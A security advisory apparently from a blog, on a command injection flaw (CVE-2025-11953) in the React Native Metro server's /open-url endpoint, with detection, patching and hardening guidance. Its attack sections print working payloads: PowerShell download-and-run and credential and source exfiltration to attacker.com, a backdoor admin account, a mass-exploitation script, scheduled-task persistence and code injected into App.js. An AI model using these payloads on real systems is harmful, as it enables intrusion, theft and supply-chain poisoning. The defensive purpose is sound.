CVE-2025-11953: How a 9.8 CVSS command injection flaw in @react-native-community/cli puts the entire mobile development supply chain at risk

A critical zero-day vulnerability (CVE-2025-11953) has been discovered in the React Native Community CLI package, downloaded approximately 2 million times per week by mobile developers worldwide. With a maximum CVSS severity score of 9.8/10, this flaw enables unauthenticated remote attackers to execute arbitrary operating system commands on developer machines running the Metro development server—requiring no user interaction and exploitable across Windows, macOS, and Linux platforms.
Critical Facts:
/open-url endpoint@react-native-community/cli-server-apiImmediate Action Required: Update to version 20.0.0 or bind Metro server to localhost (--host 127.0.0.1)
Before diving into the vulnerability, understanding the affected ecosystem is crucial.
React Native:
Metro Development Server:
npm startReact Native Community CLI:
init, start, run-android, run-ios, etc.CVE-2025-11953 explained:
The vulnerability exists in Metro’s debugging infrastructure, specifically the /open-url endpoint designed to help developers open files in their editor when debugging stack traces.
Normal (intended) workflow:
/open-url endpoint receives requestThe security flaw:
The Metro server:
0.0.0.0 by default (all network interfaces), not 127.0.0.1 (localhost only)/open-url endpoint without authenticationopen() NPM package without proper sanitizationThe vulnerable endpoint (/open-url):
// Simplified vulnerable code path
app.post('/open-url', (req, res) => {
const { url } = req.body;
// The 'open' package executes system commands
// User input flows directly into command execution
open(url, {
wait: false,
url: true
});
res.end();
});
The open NPM package behavior:
The open package uses different commands based on operating system:
// open package internals (simplified)
function open(target, options) {
let command;
if (process.platform === 'win32') {
// Windows: Uses 'start' command
command = `start "" "${target}"`;
} else if (process.platform === 'darwin') {
// macOS: Uses 'open' command
command = `open "${target}"`;
} else {
// Linux: Uses 'xdg-open' command
command = `xdg-open "${target}"`;
}
// Executes the command
child_process.exec(command);
}
The exploitation path:
Attackers can inject shell commands by breaking out of the URL parameter context.
Windows command syntax allows executing arbitrary commands with complete control over parameters.
Payload structure:
" & malicious_command & "
Example attack:
POST /open-url HTTP/1.1
Host: 192.168.1.100:8081
Content-Type: application/json
{
"url": "\" & calc.exe & \""
}
What happens:
start "" "\" & calc.exe & \""
This executes:
calc.exe
Real-world attack scenarios:
1. Download and execute malware:
{
"url": "\" & powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\" & \""
}
2. Steal source code:
{
"url": "\" & powershell -c \"Compress-Archive -Path C:\\Projects -DestinationPath C:\\temp\\code.zip; (New-Object Net.WebClient).UploadFile('http://attacker.com/upload','C:\\temp\\code.zip')\" & \""
}
3. Create backdoor user:
{
"url": "\" & net user hacker P@ssw0rd /add && net localgroup administrators hacker /add & \""
}
On Unix-based systems, exploitation is possible but with constraints.
Payload structure:
file:///path/to/malicious/binary
Example attack:
POST /open-url HTTP/1.1
Host: 192.168.1.100:8081
Content-Type: application/json
{
"url": "file:///tmp/malicious_script.sh"
}
If attacker can write to /tmp (common):
# Attacker first uploads malicious script to /tmp
# Then triggers execution via /open-url
Linux/macOS attack scenarios:
1. Execute binary from temp:
{
"url": "file:///tmp/backdoor"
}
2. Trigger existing system binaries:
{
"url": "file:///usr/bin/python3"
}
3. Exploit file associations:
{
"url": "file:///tmp/malicious.desktop"
}
No barriers to exploitation:
Attack requirement: Network access to Metro server (port 8081 by default)
Metro binds to 0.0.0.0 by default:
Listening on http://0.0.0.0:8081
This means:
Should bind to: 127.0.0.1 (localhost only)
Who is affected:
Every React Native developer who:
@react-native-community/cli versions 4.8.0 – 20.0.0-alpha.2npm start, npx react-native start, or similar commandsConservative estimates:
Developer machine compromise = supply chain compromise:
Once attacker gains code execution on developer machine, they can:
1. Inject malicious code into applications:
// Attacker modifies source code
// Malicious code ends up in production app
const ATTACKER_URL = 'https://malicious.com/exfiltrate';
function sendUserData() {
fetch(ATTACKER_URL, {
method: 'POST',
body: JSON.stringify(userData)
});
}
2. Steal credentials and secrets:
# Extract environment variables
printenv > /tmp/env.txt
curl -F "file=@/tmp/env.txt" https://attacker.com/upload
# Steal SSH keys
tar -czf /tmp/ssh.tar.gz ~/.ssh
curl -F "file=@/tmp/ssh.tar.gz" https://attacker.com/upload
# Steal AWS credentials
cat ~/.aws/credentials | curl -X POST -d @- https://attacker.com/aws
3. Compromise CI/CD pipelines:
4. Lateral movement:
No visible indicators to victim:
Attacker: Opportunistic hacker at coffee shop
Target: React Native developers working remotely
Timeline: 15 minutes
Attack steps:
# Scan local network for Metro servers
nmap -p 8081 192.168.1.0/24
# Results:
# 192.168.1.105:8081 - OPEN (Metro server detected)
# 192.168.1.142:8081 - OPEN (Metro server detected)
curl http://192.168.1.105:8081/status
# Response confirms React Native Metro server
# Create payload script
cat > exploit.sh << 'EOF'
#!/bin/bash
TARGET="192.168.1.105:8081"
# Windows payload - download and execute
PAYLOAD='{
"url": "\" & powershell -WindowStyle Hidden -Command \"IEX(New-Object Net.WebClient).DownloadString('\'http://attacker.com/stage2.ps1\'')\" & \""
}'
curl -X POST http://$TARGET/open-url \
-H "Content-Type: application/json" \
-d "$PAYLOAD"
EOF
chmod +x exploit.sh
./exploit.sh
# stage2.ps1 executed on victim machine
# Steal browser passwords
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((
Get-Content "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
))) | Out-File C:\temp\passwords.txt
# Exfiltrate source code
Compress-Archive -Path C:\Users\$env:USERNAME\Projects -DestinationPath C:\temp\code.zip
(New-Object Net.WebClient).UploadFile('http://attacker.com/upload', 'C:\temp\code.zip')
# Install persistent backdoor
schtasks /create /tn "SystemUpdate" /tr "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')" /sc onlogon /ru System
Result:
Attacker: External attacker with initial foothold (phishing victim)
Target: All React Native developers in organization
Timeline: 2 hours
Attack progression:
Phase 1: Initial Access (Phishing)
Phase 2: Lateral Scanning (15 minutes)
# From compromised machine, scan corporate network
for i in {1..254}; do
(ping -c 1 10.0.0.$i &>/dev/null &&
nc -zv 10.0.0.$i 8081 2>&1 | grep succeeded &&
echo "10.0.0.$i") &
done | tee metro_servers.txt
# Results: 23 Metro servers found
Phase 3: Mass Exploitation (30 minutes)
# Automated exploitation of all developers
while read server; do
curl -X POST http://$server:8081/open-url \
-H "Content-Type: application/json" \
-d '{
"url": "\" & powershell -c \"IEX(New-Object Net.WebClient).DownloadString('\'http://internal-c2.attacker.com/payload.ps1\'')\" & \""
}' &
done < metro_servers.txt
Phase 4: Supply Chain Contamination (1 hour)
# payload.ps1 running on all developer machines
# Find and backdoor React Native projects
Get-ChildItem -Path C:\Users -Recurse -Filter "package.json" |
Where-Object {
(Get-Content $_.FullName | ConvertFrom-Json).dependencies.'react-native'
} | ForEach-Object {
$projectPath = $_.DirectoryName
# Inject malicious code into App.js
$maliciousCode = @"
import { useEffect } from 'react';
useEffect(() => {
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
deviceId: DeviceInfo.getUniqueId(),
userData: AsyncStorage.getAllKeys()
})
});
}, []);
"@
Add-Content "$projectPath\App.js" $maliciousCode
}
Result:
Attacker: Advanced Persistent Threat group
Target: Mobile apps used by government/military
Timeline: 3 months
Strategic approach:
Month 1: Reconnaissance
Month 2: Targeted Compromise
Month 3: Strategic Objectives
Impact:
Command-line check:
# Check installed version
npm list @react-native-community/cli-server-api
# or
cat node_modules/@react-native-community/cli-server-api/package.json | grep version
If version is 4.8.0 through 20.0.0-alpha.2: You were vulnerable.
Check if Metro was accessible externally:
# Look for non-localhost connections in Metro logs
# Metro logs typically in terminal output during development
# Search for suspicious IPs
grep -r "GET\|POST" ~/Library/Logs/Metro/* | grep -v "127.0.0.1"
Red flags:
/open-url POST requests you didn’t initiateWindows:
# Check for suspicious scheduled tasks
Get-ScheduledTask | Where-Object {$_.TaskName -notlike "Microsoft*"} |
Select TaskName, TaskPath, State
# Review PowerShell history
Get-Content $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
# Check for new user accounts
Get-LocalUser | Where-Object {$_.Enabled -eq $true} |
Select Name, LastLogon, PasswordLastSet
# Review Windows Event Logs for suspicious PowerShell execution
Get-WinEvent -LogName "Windows PowerShell" |
Where-Object {$_.Message -like "*DownloadString*"} |
Select TimeCreated, Message
macOS/Linux:
# Check for suspicious cron jobs
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
# Review bash history
cat ~/.bash_history | grep -E "curl|wget|powershell|nc|sh|python"
# Check for new user accounts
cat /etc/passwd | grep -v "nologin\|false"
# Look for suspicious processes
ps aux | grep -E "curl|wget|nc|sh" | grep -v grep
# Check for outbound connections
lsof -i -n | grep ESTABLISHED
Check for unauthorized source code changes:
# Review Git status in all React Native projects
find ~/Projects -name ".git" -type d | while read gitdir; do
cd "$(dirname $gitdir)"
echo "=== Checking $(pwd) ==="
git status
git diff
done
# Look for recently modified files
find ~/Projects -type f -name "*.js" -mtime -7 -ls
# Search for suspicious code patterns
grep -r "fetch.*http" ~/Projects --include="*.js" | grep -v "node_modules"
Capture and analyze network traffic:
# macOS
sudo tcpdump -i en0 port 8081 -w metro-traffic.pcap
# Analyze captured traffic
tcpdump -r metro-traffic.pcap -A | grep "POST /open-url"
Look for:
/open-url from unexpected sourcesIf you have EDR solution (CrowdStrike, Carbon Black, etc.):
Search for:
-EncodedCommand or -CommandExample EDR query (generic):
process_name:node.exe OR process_name:npm.exe
AND (child_process:powershell.exe OR child_process:cmd.exe)
AND command_line:*DownloadString* OR command_line:*IEX*
Method 1: Update via package manager (Recommended)
# Navigate to your React Native project
cd /path/to/your/react-native-project
# Update to patched version
npm install @react-native-community/cli-server-api@20.0.0
# Verify version
npm list @react-native-community/cli-server-api
# Should show: @react-native-community/cli-server-api@20.0.0
Method 2: Update through CLI tools
# Update React Native CLI globally
npm install -g @react-native-community/cli@latest
# Update project dependencies
npm update
Method 3: Manual package.json update
{
"dependencies": {
"@react-native-community/cli": "^14.0.0",
"@react-native-community/cli-server-api": "^20.0.0"
}
}
Then run:
npm install
Temporary mitigation until you can update:
Option A: Command-line flag
# Always bind to localhost
npx react-native start --host 127.0.0.1
# or
npm start -- --host 127.0.0.1
Option B: Metro configuration file
Create or edit metro.config.js:
module.exports = {
server: {
// Bind to localhost only
host: '127.0.0.1',
port: 8081,
},
// Rest of your Metro configuration...
};
Option C: npm script update
Edit package.json:
{
"scripts": {
"start": "react-native start --host 127.0.0.1",
"android": "react-native run-android --host 127.0.0.1",
"ios": "react-native run-ios --host 127.0.0.1"
}
}
Option D: Environment variable
# Add to your shell profile (~/.bashrc, ~/.zshrc, etc.)
export RCT_METRO_HOST=127.0.0.1
# or set before running
RCT_METRO_HOST=127.0.0.1 npm start
Test that Metro is bound to localhost only:
# Start Metro server
npm start
# In another terminal, test external accessibility
# This should FAIL (connection refused)
curl http://192.168.1.XXX:8081/status
# This should SUCCEED
curl http://127.0.0.1:8081/status
If external curl succeeds: Protection not working, review configuration.
Find and update all React Native projects:
# Find all React Native projects on your machine
find ~ -name "package.json" -type f | while read pkg; do
if grep -q "react-native" "$pkg"; then
project_dir=$(dirname "$pkg")
echo "Found React Native project: $project_dir"
# Update dependencies
cd "$project_dir"
npm update @react-native-community/cli-server-api
# Verify
npm list @react-native-community/cli-server-api
fi
done
Run security checks:
# Check for suspicious files
find ~/Projects -type f -name "*.js" -mtime -30 | xargs grep -l "fetch.*http.*suspicious"
# Review Git history for unauthorized commits
cd ~/Projects/YourReactNativeApp
git log --all --since="2 weeks ago" --author=".*" --oneline
# Check for untracked files
git status --porcelain | grep "^??"
If you suspect compromise, rotate:
GitHub Personal Access Tokens:
Settings → Developer settings → Personal access tokens → Regenerate
AWS:
aws iam update-access-key --access-key-id AKIAIOSFODNN7EXAMPLE --status Inactive
aws iam create-access-key --user-name YourUsername
1. Firewall Rules:
macOS:
# Block external access to Metro port
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --add /usr/local/bin/node
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --block /usr/local/bin/node
Windows:
# Block Metro port from external access
New-NetFirewallRule -DisplayName "Block Metro External" -Direction Inbound -LocalPort 8081 -Protocol TCP -Action Block -RemoteAddress Internet
Linux (UFW):
# Allow only from localhost
sudo ufw deny 8081
sudo ufw allow from 127.0.0.1 to any port 8081
2. VPN for Remote Development:
If you must work on public networks:
1. Dependency Scanning:
Add to CI/CD pipeline:
# GitHub Actions example
name: Security Scan
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run npm audit
run: npm audit --audit-level=moderate
- name: Check for vulnerable dependencies
run: |
npm install -g npm-check-updates
ncu --packageFile package.json
2. Automated Updates:
// package.json
{
"scripts": {
"audit": "npm audit",
"audit-fix": "npm audit fix",
"check-updates": "npm outdated"
}
}
3. Pre-commit Hooks:
# Install husky
npm install --save-dev husky
# Add pre-commit hook
npx husky add .husky/pre-commit "npm audit"
Security awareness training should cover:
Regular security reviews:
Implement monitoring for:
1. Dependency vulnerabilities:
# Set up Snyk monitoring
npm install -g snyk
snyk auth
snyk monitor
2. Network activity:
# Monitor Metro server connections
netstat -an | grep 8081
3. File integrity:
# Create baseline
find ~/Projects -type f -name "*.js" -exec md5 {} \; > checksums.txt
# Regular verification
find ~/Projects -type f -name "*.js" -exec md5 {} \; | diff - checksums.txt
Subject: URGENT: Critical Security Patch Required – React Native Development
PRIORITY: HIGH
ACTION REQUIRED: Immediate
What: Critical vulnerability (CVE-2025-11953) in React Native CLI
Risk: Remote code execution on developer machines
Impact: Potential compromise of source code, credentials, and production apps
IMMEDIATE ACTIONS REQUIRED:
1. Stop all Metro development servers (npm start)
2. Update @react-native-community/cli-server-api to version 20.0.0
3. Restart development with --host 127.0.0.1 flag
4. Report to security team if suspicious activity noticed
Deadline: End of business today
Contact: security@company.com for assistance
Details: [Link to internal security bulletin]
1. Emergency standup:
2. Verify compliance:
# Script to check all team repositories
#!/bin/bash
REPOS=(
"https://github.com/company/mobile-app-1"
"https://github.com/company/mobile-app-2"
"https://github.com/company/mobile-app-3"
)
for repo in "${REPOS[@]}"; do
git clone "$repo" temp_repo
cd temp_repo
echo "Checking $repo..."
VERSION=$(npm list @react-native-community/cli-server-api --depth=0 | grep @react-native-community/cli-server-api)
if [[ $VERSION == *"20.0.0"* ]]; then
echo "✓ SECURE: $repo"
else
echo "✗ VULNERABLE: $repo - $VERSION"
fi
cd ..
rm -rf temp_repo
done
3. Document lessons learned:
This vulnerability highlights a critical blind spot in modern cybersecurity: developer machines are prime targets for supply chain attacks.
Why attackers target developers:
Scale of the problem:
Recent NPM supply chain incidents:
For NPM/Package Registries:
For Framework Maintainers (React Native, Meta, etc.):
For Developers:
npm auditFor Organizations:
Checklist for secure React Native development:
Network Security:
Dependency Management:
npm audit before every commitnpm ci instead of npm install in CI/CDAccess Control:
Code Security:
Machine Security:
Recommended security stack:
1. Dependency Scanning:
2. Static Analysis:
3. Runtime Protection:
4. Secret Management:
5. CI/CD Security:
Establish formal policies:
1. Dependency approval process:
Before adding ANY new dependency:
- Security team review for packages with >1M downloads
- Automated scan for known vulnerabilities
- Check package maintainer reputation
- Review package source code for critical dependencies
- Document justification for adding dependency
2. Incident response plan:
If vulnerability discovered:
Hour 1: Assess scope and severity
Hour 2: Notify affected teams
Hour 4: Deploy patches/mitigations
Day 1: Complete remediation
Day 2: Investigate for exploitation
Week 1: Post-incident review
3. Secure development guidelines:
All developers must:
- Complete security training (annually)
- Use approved development tools
- Follow secure coding standards
- Report security incidents immediately
- Maintain updated development environments
Q: Am I affected if I use Expo instead of React Native CLI? A: Expo uses its own development server and build system. If you’re using pure Expo (not bare React Native), you’re likely not affected. However, if you’ve ejected from Expo or use custom native code, check your dependencies.
Q: Can I be exploited if my Metro server isn’t running? A: No. The vulnerability requires Metro development server to be actively running. If you’re not running npm start or similar commands, you’re not at risk.
Q: Does this affect production apps? A: No. Metro is a development-only tool. Production React Native apps don’t include Metro server code. However, if your developer machine was compromised, malicious code could have been injected into your app source.
Q: How do I know if I was exploited? A: Check the detection section of this article. Look for suspicious network connections, unusual file modifications, new scheduled tasks, or unexpected processes. Review logs and Git history carefully.
Q: Should I rebuild all apps from scratch? A: Not necessarily. If you have no evidence of compromise and have updated to the patched version, your existing builds are fine. If you suspect compromise, perform forensic analysis before rebuilding.
Q: Is version 20.0.0 completely safe? A: Version 20.0.0 patches this specific vulnerability (CVE-2025-11953). However, always follow security best practices: bind to localhost, use firewalls, keep dependencies updated, and monitor for new vulnerabilities.
Q: Can this attack happen remotely over the internet? A: Technically yes, if your development machine is exposed to the internet (poor firewall configuration, DMZ, port forwarding). However, most attacks would occur on local networks (coffee shops, offices, conferences) where the attacker has network proximity.
Q: Should I stop using React Native? A: No. This vulnerability exists in the development tooling, not the framework itself. All major frameworks have had security issues. The important thing is prompt patching and following security best practices. React Native remains a robust, widely-used framework.
CVE-2025-11953 serves as a stark reminder that software supply chain security extends beyond production environments into the development process itself. Developer machines are high-value targets, and development tools must be treated with the same security rigor as production systems.
Critical Actions (Do Today):
@react-native-community/cli-server-api to version 20.0.0+--host 127.0.0.1Essential Practices (Implement This Week):
Strategic Improvements (Build Into Culture):
The Broader Lesson:
This vulnerability exemplifies why supply chain security is the defining challenge of modern software development. As we depend on increasingly complex webs of open-source dependencies, the attack surface expands exponentially. Every package, every library, every development tool becomes a potential entry point.
The path forward requires:
Remember: Updating to version 20.0.0 fixes this specific vulnerability, but security is an ongoing process, not a one-time event. Stay informed, stay vigilant, and keep your development environments as secure as your production systems.
Official Documentation:
Vulnerability Information:
Security Tools:
Supply Chain Security:
Recent Posts